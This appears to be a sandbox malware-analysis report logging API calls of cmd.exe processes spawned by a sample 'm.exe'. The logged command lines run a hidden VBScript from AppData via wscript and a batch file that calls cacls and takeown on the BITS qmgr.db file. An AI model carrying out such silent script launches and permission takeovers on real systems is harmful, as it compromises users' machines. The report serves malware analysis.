cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1100

85

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\reg.exe, os_pid = 0x11d4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\reg.exe, os_pid = 0x1200, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\reg.exe, os_pid = 0x1250, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn

Process #8: cmd.exe

63

0

»

Information	Value
ID	#8
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\WINDOWS\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:50, Reason: Child Process
Unmonitor	End Time: 00:04:01, Reason: Self Terminated
Monitor Duration	00:02:10

OS Process Information

»

Information	Value
PID	0x1104
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1108 0x 1190

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1108

63

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\wscript.exe, os_pid = 0x11dc, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn

Process #11: cmd.exe

367

0

»

Information	Value
ID	#11
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:52, Reason: Child Process
Unmonitor	End Time: 00:02:45, Reason: Self Terminated
Monitor Duration	00:00:52

OS Process Information

»

Information	Value
PID	0x1194
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1198 0x 11C0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1198

367

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 77	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1234, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 62	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x12e8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
